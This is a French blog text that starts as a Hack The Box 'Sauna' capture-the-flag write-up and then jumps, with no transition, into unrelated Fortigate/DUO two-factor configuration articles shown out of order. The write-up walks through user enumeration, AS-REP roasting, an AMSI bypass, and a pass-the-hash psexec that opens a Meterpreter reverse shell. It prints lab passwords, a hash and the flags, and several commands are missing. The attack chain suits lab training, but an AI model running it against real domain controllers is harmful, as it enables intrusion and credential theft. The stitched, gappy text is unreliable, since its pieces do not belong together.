La phase d’énumération sera la plus importante sur cette machine. Tellement importante que nous pourrions la catégoriser au niveau Medium si je devais la comparer à d’autres anciennes VM comme Legacy, Optimum ou encore Blue.
Les informations que nous avons à notre disposition sont :
IPv4 = 10.10.10.175
Nom de la VM = sauna.htb (par défaut chez HTB)
J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.
Phase de reconnaissance
Par habitude j’effectue un scan (TCP) complet de la machine virtuelle de cette manière :
Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.
Avec un scan classique (–top-ports 1000) nous aurions raté 8 ports ouverts :
root@HTB:~/HTB/Sauna# grep -c open nmap-sauna.txt
13
root@HTB:~/HTB/Sauna# grep -c open nmap-sauna-complete.txt
21
Voici la totalité des 21 ports (TCP) ouverts :
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-06 03:30:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
61968/tcp open msrpc Microsoft Windows RPC
Nous voyons ici que parmi les ports supplémentaires identifiés nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), qui sera fort utile pour obtenir un shell plus tard.
Et nous avons trois ports UDP d’ouverts, dont NTP :
oot@HTB:~/HTB/Sauna# nmap -sU -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-udp-complete.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:28 EDT
Nmap scan report for 10.10.10.175
Host is up (0.042s latency).
Not shown: 65532 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 514.51 seconds
Phase d’énumération 1/2
D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.
Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, mais on ne peut pas récupérer grand chose :
root@HTB:~/HTB/Sauna# rpcclient -U "" -N 10.10.10.175
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomains
result was NT_STATUS_ACCESS_DENIED
rpcclient $> netshareenum
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaenumsid
result was NT_STATUS_ACCESS_DENIED
Meet the team. So many bank account managers butonly one security manager. Sounds about right!
Nous devrions être sur la bonne voie ! Je décide de créer un fichier texte avec une liste de logon\login possibles pour chacun d’eux. Un exemple ci-dessous pour « Fergus Smith » (fichier à disposition) :
Avant cela, nous devons mettre à jour le résolveur DNS, fichier /etc/resolv.conf au niveau du domaine par défaut et surtout le serveur DNS à utiliser :
Nous avons donc 8*2 = 16 login (avec et sans nom de domaine). Avec le deuxième outil nous avons d’autres informations encore plus intéressantes. Je l’utilise sans faire de brutefore du mot de passe :
root@HTB:~/HTB/Sauna# python ../kerbrute/kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users users.txt
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[] Valid user => hsmith[] Valid user => fsmith [NOT PREAUTH]
[] Valid user => administrator[] Valid user => sauna
[] Blocked/Disabled user => guest[] Valid user => hsmith@EGOTISTICAL-BANK.LOCAL
[] Valid user => sauna@EGOTISTICAL-BANK.LOCAL[] Valid user => administrator@EGOTISTICAL-BANK.LOCAL
[] Valid user => fsmith@EGOTISTICAL-BANK.LOCAL [NOT PREAUTH][] No passwords were discovered :'(
Avec cette liste nous serions tenter de faire un Bruteforce mais nous allons éviter de faire cela afin de ne pas bloquer les comptes. On a un moyen plus rapide et plus discret pour arriver à nos fins.
En effet, on apprend qu’un des utilisateurs (fsmith) a l’option « Ne nécessite pas de préauthentification Kerberos » (NOT PREAUTH) de cochée. Un exemple ci dessous :
Option cochée pour l’utilisateur « Fergus Smith »
Cela signifie que n’importe qui peut envoyer une demande au nom de l’un de ces utilisateurs et recevoir un message (détails dans cet article). Ce dernier type de message contient un bloc de données chiffrées avec la clé utilisateur d’origine, dérivée de son mot de passe. Ensuite, en utilisant ce message, le mot de passe utilisateur peut être craqué hors ligne. On parle de l’attaque ASREPRoast.
Phase d’exploitation 1/2
Avant de mener l’attaque nous devons synchroniser notre horloge sur celle du derveur :
root@HTB:~/HTB/Sauna# ntpdate SAUNA.EGOTISTICAL-BANK.LOCAL
6 Apr 21:16:31 ntpdate[11369]: step time server 10.10.10.175 offset +25374.471851 sec
Ensuite allons récupérer le fameux message appeléTGT auprès du serveur Kerberos. Nous utiliserons l’un des outils de la collection Impacket, GetNPUsers.py, et on l’exporte au format « Hashcat » :
Nous pouvons obtenir le premier drapeau user.txt :
Evil-WinRM PS C:\Users\FSmith\Documents> cd ../Desktop
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt
Evil-WinRM PS C:\Users\FSmith\Desktop> more user.txt
1b5520b98d97cf17f24122a55baf70cf
Ce compte ne permet pas de passer « Administrator » directement (en tous les cas je n’ai pas trouvé). Par contre, il nous donne de nouvelles informations utiles comme ici au niveau des partages mais aussi de la liste des comptes du domaine, notamment le compte (de service) svc_loanmgr :
root@HTB:~/HTB/Sauna# smbmap -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS We cant print money
SYSVOL READ ONLY Logon server share
Les répertoires ne donnent pas beaucoup d’informations. Et impossible d’obtenir les hashs des comptes avec un autre outil de la suite Impacket, secretdump.py :
root@HTB:~/HTB/Sauna# secretsdump.py fsmith@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter [] Cleaning up…
Phase d’énumération 2/2
Après une recherche infructueuse, nous allons faire une recherche plus approfondie toujours avec notre usager fsmith en utilisant l’outil WindowsEnum.
Avant cela nous allons désactiver la protection PowerShell AMSI afin de pouvoir utiliser pleinement notre script. Taper menu puis Bypass-4MSI :
Après quelques minutes on obtient le résultat. Il faut prendre le temps de bien lire ! Je n’ai pas vu tout de suite mais voici ce que l’on a sous nos yeux :
Et oui 🙂 on a un deuxième compte (de service) en mode « Auto logon » avec le mot de passe.
A partir de là, beaucoup vont se faire avoir, moi le premier ! Rappelez-vous, nous avions trouvé les comptes de domaines mais le logon n’était pas le même pour celui-ci ! Il faut donc utiliser le bon pour la suite à savoir svc_loanmgr et non svc_loanmanager.
Voyons si nous pouvons obtenir plus de droits avec cet utilisateur :
root@HTB:~/HTB/Sauna# smbmap -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS We cant print money
SYSVOL READ ONLY Logon server share
Ca commence mal… essayons de récupérer à nouveau les hashs des comptes :
Pour la suite nous utiliserons Metasploit, pour changer un peu, et notamment le module exploit/windows/smb/psexec qui permet d’utiliser directement le hash du mot de passe (technique du Pass the Hash) :
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS SAUNA.EGOTISTICAL-BANK.LOCAL yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain EGOTISTICAL-BANK.LOCAL no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff no The password for the specified username
SMBUser Administrator no The username to authenticate as
Il ne reste plus qu’à lancer notre attaque :
msf5 exploit(windows/smb/psexec) > run
[] Started reverse TCP handler on 10.10.14.11:4444 [] 10.10.10.175:445 - Connecting to the server…
[] 10.10.10.175:445 - Authenticating to 10.10.10.175:445|EGOTISTICAL-BANK.LOCAL as user 'Administrator'… [] 10.10.10.175:445 - Selecting PowerShell target
[] 10.10.10.175:445 - Executing the payload… [+] 10.10.10.175:445 - Service start timed out, OK if running a command or non-service executable… [] Sending stage (180291 bytes) to 10.10.10.175
[*] Meterpreter session 1 opened (10.10.14.11:4444 -> 10.10.10.175:61387) at 2020-04-07 00:07:45 -0400meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Voilà ! Nous avons un shell et sommes root cette fois 🙂 Il ne reste plus qu’à récupérer le drapeau root.txt :
meterpreter > shell
Process 5388 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>more root.txt
more root.txt
f3ee04965c68257382e31502cc5e881f
Conclusion
Nous voilà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est vraiment importante sur cette machine virtuelle.
Avec du recul, elle n’est pas insurmontable techniquement mais demande un effort important d’analyse. On apprend beaucoup !
Note : j’ai aussi trouvé une faille avec le driver de l’imprimante mais impossible de l’exploiter. Le répertoire concerné est pourtant bien en R/W mais cela n’aboutit pas (via Metasploit).
Pour finir nous devons créer une nouvelle méthode d’authentification. Il faut pour cela se rendre au niveau « Global », à savoir (GUI) :
Global/System/Administrators
Il suffit de créer un nouvel « administrateur » et de remplir à minima les champs suivants en jaune :
Création d’une méthode d’authentification basée sur 2FA
Il est important de bien choisir le type comme indiqué pour permettre à plusieurs administrateurs de se connecter et le groupe local que l’on a créé pour utiliser la double authentification. Et bien-sûr le profil ou rôle adéquate (comme Sheila !).
Timeout (important)
Il reste un dernier changement important à fairepour laisser le temps à l’administrateur de valider ou non la demande de connexionlors de la deuxième authentification (si accès frauduleux ou erreur).
En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir les méthodes DUO offertes dans le dernier article de la série 4/4).
Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.
Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :
On augmente le délai d’attente à 60 secondes
Il est maintenant temps de tester la connexion.
Test de connexion
Vous devrez pour cela créer ou utiliser un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » correspondant au groupe local du firewall, « ADMIN_DUO » dans notre exemple.
Il suffit ensuite d’utiliser les informations de connexion de ce compte administrateur pour vérifier que l’authentification fonctionne, HTTPS et SSH, par exemple :
Un délai de 60 secondes sera donc accordé pour laisser le temps à administrateur de valider l’authentification à partir de son téléphone ou tablette.
En cas d’échec de connexion, il faudra vérifier les fichiers de logs sur le serveur DUO, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Rendez-vous sur cet article pour les détails.
Mot de la fin
Cet article est le plus court de la série car l’essentiel a déjà été traité dans le précèdent.
Nous avons donc à ce stade une solution davantage sécurisée pour l’administration des firewall Fortigate et pour les connexions distantes via FortiClient.
Rendez-vous dans le dernier article pour voir comment nous pouvons ajouter ou plutôt « enrôler » un nouvel utilisateur et les différentes méthodes de validation offertes avec DUO – en cours de rédaction.
Cet article est donc la suite logique dans lequel nous verrons comment l’utiliser depuis un firewall Fortigate. C’est l’article le plus long de la série.
Nous étudierons ici le cas suivant via le protocole LDAP(S) :
Accès sécurisés distants VPN SSL (FortiClient), Ex. pour des consultants ou employés d’une compagnie
Je vous détaillerai de petites astuces notamment pour bien gérer la redondance au niveau des Fortigate si vous souhaiter configurer deux serveurs DUO Proxy.
Dans l’article suivant nous verrons comment utiliser ces serveurs pour l’administration du Fortigate lui-même.
Fortigate – Configuration LDAP
Pour authentifier les usagers qui se connecteront aux Firewalls Fortigate depuis FortiClient, nous nous appuieront sur des serveurs LDAP que nous allons configurer.
Si j’utilise le protocole LDAP à la place d’un serveur Radius, c’est que je trouve cela plus lisible et plus souple pour gérer les groupes d’utilisateurs (au sens Active Directory ou AD) et plus logique finalement.
Plus lisible car il suffit de créer des groupes locaux (sur le fortigate) qui font référence à leur pendant côté Active Directory. Comme on le verra plus loin, il suffira d’aller naviguer sur l’AD depuis le Fortigate et de choisir les différents groupes.
Plus souple car il suffira ensuite d’ajouter les futurs usagers au niveau de l’AD dans les bons groupes sans que l’on ait besoin d’intervenir au niveau du Fortigate.
Plus logique car bien souvent lorsque l’on utilise un serveur Radius, il se base lui-même sur l’AD pour autoriser ou non l’accès suivant le(s) groupe(s) au(x)quel(s) l’usager appartient. Donc autant interroger directement l’AD sans passer par un intermédiaire.
La mise en place de la double authentification au niveau des connexions FortiClient (tunnels VPN SSL) nécessite quelques changements au niveau du Fortigate.
Tous les détails dans les sections suivantes mais dans les grandes lignes :
Configurer de nouveaux serveurs LDAP qui seront en fait nos serveurs « Duo Authentication Proxy »
Créer des groupes locaux pointant sur ceux d’Active Directory
Ajouter ces groupes au niveau du paramétrage VPN
Configurer de nouvelles règles de filtrage pour utiliser ces groupes
Réglages finaux des connexions LDAP, notamment le « timeout »
A noter que ce qui suit a été testé et validé sur des Fortigate ayant comme version FortiOS : 6.0.x et 6.2.x
Fortigate – Serveurs LDAP (DUO Proxy)
Serveur principal :
En premier lieu nous utiliserons l’interface graphique (GUI) pour configurer le serveur LDAP primaire qui sera en fait notre nouveau serveur DUO Proxy. Le cas échéant se positionner sur le bon « VDOM » puis se rendre ici : /User & Device/LDAP Servers
Renseigner les champs suivants de cette manière avec ses propres informations :
Name DUOPROXY Server IP/Name DUOPXY01.acme.corp Server Port 389 Common Name Identifier sAMAccountName Distinguished Name DC=acme,DC=corp Username CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp Password L@ Securite est l affaire de t0us !!
Faire attention de bien saisir le CN de cette façon et d’indiquer le chemin complet pour l’utilisateur.
Un exemple ci-dessous, « Connection status » doit indiqué « Successful » :
La connexion au serveur est un succès
Serveur de secours :
Ensuite, nous pourrions configurer sur le Fortigate un second serveur LDAP (DUO Proxy) de secours de la même manière, cela fonctionnerait. Le problème dans cette configuration c’est que les deux serveurs seraient interrogés en même temps et que l’usager recevrait systématiquement deux demandes de validation pour le 2FA… ce qui ne donne pas une bonne expérience côté utilisateur vous conviendrez.
Aussi, nous allons procéder différent et configurer réellement un serveur de secours au principal mais cela ne peut se faire uniquement qu’en ligne de commande (CLI) avec le paramètre « set secondary-server » :
config user ldap edit « DUOPROXY » set server « DUOPXY01.acme.corp » set secondary-server « DUOPXY02.acme.corp » set source-ip 10.20.30.40 set cnid « sAMAccountName » set dn « DC=acme,DC=corp » set type regular set username « CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp » set password ENC MTAwMKc0g0TL69uXauUZuYdZgAHh6626…. set password-expiry-warning enable set password-renewal enable next end
Dans cette configuration, si le serveur principal n’est pas joignable (durant une maintenance par exemple), le Fortigate enverra automatiquement les requêtes sur le serveur de secours.
Malheureusement, cette information ne sera jamais visible dans l’interface graphique (GUI), en tous les cas jusqu’à ce jour, il faut donc garder cela en tête.
Il est toujours bon de préciser la source (IPv4) qui se connecte aux serveurs pour une meilleure traçabilité et gestion des flux réseaux (set source-ip).
Et j’active également les messages via FortiClient afin d’avertir l’usager si son mot de passe venait à expirer prochainement et/ou si ce dernier devait le changer (set password-*). Ce qui n’est pas activé par défaut et seulement activable par CLI là aussi.
Fortigate – Groupes locaux
Nous devons maintenant créer des groupes locaux qui pointeront vers ceux de l’annuaire d’entreprise via nos nouveaux serveurs LDAP.
Prenons l’exemple du groupe « VPN_DUO_TEST » qui servira pour nos tests à se connecter à distance avec le FortiClient, il faut se rendre ici (interface GUI), le cas échéant se positionner sur le bon « VDOM » :
/User & Device/User Groups puis « Create New«
Type Firewall Members Ne rien mettre Remote Groups Cliquer sur « Add » et choisir le nouveau « Remote Server »
Exemple ci-dessous :
Début de création du groupe local
Ce n’est pas fini, nous devons maintenant indiquer à quel groupe « distant » (= AD) est relié notre groupe local. Pour cela, il faut faire un double clic sur la ligne en jaune où se trouve le serveur LDAP « DUOPROXY ». Ensuite, dans le champ de recherche on indique le nom du groupe (= CN) que l’on cherche, comme ci-dessous (cela peut-être n’importe quel nom) :
On doit chercher le groupe sur l’annuaire d’entreprise
Faire un clic droit sur la ligne qui nous intéresse, cliquer sur « Add Selected » et enfin terminé par « OK » :
Sélection du groupeLe groupe est sélectionné (une pastille apparaît)On valide la sélection
Notre groupe est bien présent mais sans référence pour le moment (= non utilisé pour l’instant) :
Le groupe est créé
Pour plus de clarté, il est préférable de ne faire corresponde qu’un seul groupe local à un groupe « distant » de l’AD (du 1 pour 1 donc).
Fortigate – VPN
Une fois le groupe créé nous devons créer et lui « affecter » un portail et lui permettre ainsi de se connecter au Fortigate.
Il faut pour cela se rendre dans le menu « VPN« . Si il n’est pas visible il suffit d’activer la fonction dans « System/Feature Visibility » et choisir « SSL-VPN Realms » (uniquement).
Cliquer ensuite sur le menu « SSL-VPN Portals« . Il est préférable de distinguer les connexions suivant leur finalité. Par exemple ici nous avons 4 portails distincts :
Différents portails VPN SSL
L’intérêt de faire cela est d’appliquer des options différentes suivant qui se connecte. Comme ici, nous avons par exemple le portail des « utilisateurs classiques » qui possède son propre range d’adresses IPv4 (pour le filtrage), son propre routage (split tunneling), on interdit d’avoir plusieurs connexions actives avec le même compte, mode « Tunnel » uniquement, etc…
Une fois le portail créé, nous devons l’affecter au groupe précédemment créé. Il faut se rendre dans le menu « SSL-VPN Settings » et créer la relation entre le groupe local et le portail voulu en cliquant sur « Create New » :
On créé et on affecte le portail à notre groupe localOn sélectionne le groupe local et portail
Une fois terminé, vous devriez avoir une page comme celle-ci, il ne reste plus qu’à valider les changements :
Paramètres appliqués à VPN SSL
Vous noterez qu’il est préférable de choisir un port « non standard » pour les accès externes même si cela obligera certains compagnies à ouvrir le flux en sortie. Il faut également prévoir un délai d’inactivité afin de faire tomber la connexion. Enfin, il est conseillé d’utiliser un certificat public valide et reconnu par une autorité certification.
Fortigate – Filtrage
Nous terminons la configuration en ajoutant les règles filtrage afin d’autoriser concrètement la connexion VPN SSL en précisant les flux réseaux permis.
Dans notre cas nous prendrons pour exemple l’accès à un intranet d’entreprise, Sharepoint :
Règles de firewall
Comme vous le voyez il faut également ne pas oublier d’ajouter le flux pour les requêtes DNS car les usagers utiliseront certainement le nom des serveurs.
A noter que l’interface source sera toujours « SSL-VPN tunnel » et qu’en source il faudra toujours préciser le range d’adresses IPv4 + le groupe local créé précédemment. Et le NAT ne doit pas être activé.
Une précision : le choix d’attribution de l’adresse IP est fait au moment de l’affectation du portail pour le groupe (étape précédente). En d’autres termes, ici avec la règle de filtrage, c’est le groupe qui va « orienter » le choix de l’adresse IPv4 qui est attribuée et non le fait de mettre tel ou tel range d’adresse IP (en bleu dans l’exemple).
Fortigate – Timeout (important)
Dans les sections précédentes nous avons vu quelques « astuces » seulement activables par ligne de commande (CLI), comme l’ajout d’un serveur de secours et les notifications lors de l’expiration des mots de passe.
Il reste un dernier changement important à fairepour laisser le temps à l’usager de valider ou non la demande de connexionlors de la deuxième authentification (si accès frauduleux ou erreur).
En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir Méthodes DUO offertes).
Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.
Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :
On change la durée d’attente globale
Tout est prêt, nous allons pouvoir passer au FortiClient, le premier cas d’utilisation.
FortiClient – Installation et configuration
Installation
Pour valider le fonctionnement de l’ensemble, il est nécessaire d’installer et de configurer le FortiClient sur son PC/Mac (ou Tablette dans l’App store). Il s’agit d’un client VPN disponible sur de nombreuses plateformes :
Cette version « allégée » est suffisante pour nos tests :
Télécharger la dernière version du FortiClient
L’installation est très intuitive mais il faut les droits d’administration.
Configuration
Il faut créer une nouvelle connexion comme ici en cliquant sur la petite roue crantée en haut à droite dans le menu « REMOTE ACCESS » :
Ajouter une nouvelle connexion
Il peut être nécessaire de déverrouiller l’accès avant en bas à gauche :
Si besoin, déverrouiller l’accès aux paramétrage
Puis saisissez les informations correspondantes à votre environnement :
Paramètres de la nouvelle connexion VPN SSL
Bien se positionner sur le type de VPN « SSL-VPN », cocher la case « Customize port » et mettre le bon numéro de port dans la case correspondante. Et il faudra bien-sur créer une nouvelle entrée DNS publique. Enregistrer le tout.
Si vous voulez vérifier que le certificat est bien valide, il suffit de se rendre à cette l’URL avec votre navigateur depuis l’extérieur de votre entreprise : https://sslvpn.acme.com:12443
Test de connexion
Vous devrez ensuite créer un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » que nous avons relié au groupe local du firewall. Dans notre exemple le CN « VPN_DUO_TEST ».
Au niveau de la console FortiClient, sélectionnez votre connexion créée auparavant et saisir les informations de connexions, cliquer sur « Connect » comme ici :
Saisir les informations de connexion AD de l’utilisateur
Ensuite, la connexion va commencer à s’établir puis s’arrêter à 45%, l’usager aura 60 secondes pour répondre :
La connexion complète ne peut se faire qu’avec l’accord de l’usager
Une fois que l’utilisateur valide, la connexion s’établie.
En cas d’échec, il faudra vérifier les fichiers de logs sur serveur, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Se référer au premier article pour plus de détails, section « Lancement et fichiers de logs ».
Mot de la fin
Nous venons de voir une manière de configurer un Fortigate avec un serveur DUO Authentication Proxy afin d’activer la double authentification pour les connexions VPN SSL avec FortiClient.
Pour connaître les différentes méthodes de validation côté utilisateur avec DUO et son enrôlement, il faut vous rendre au dernier article de la série (4/4) – en cours de rédaction.
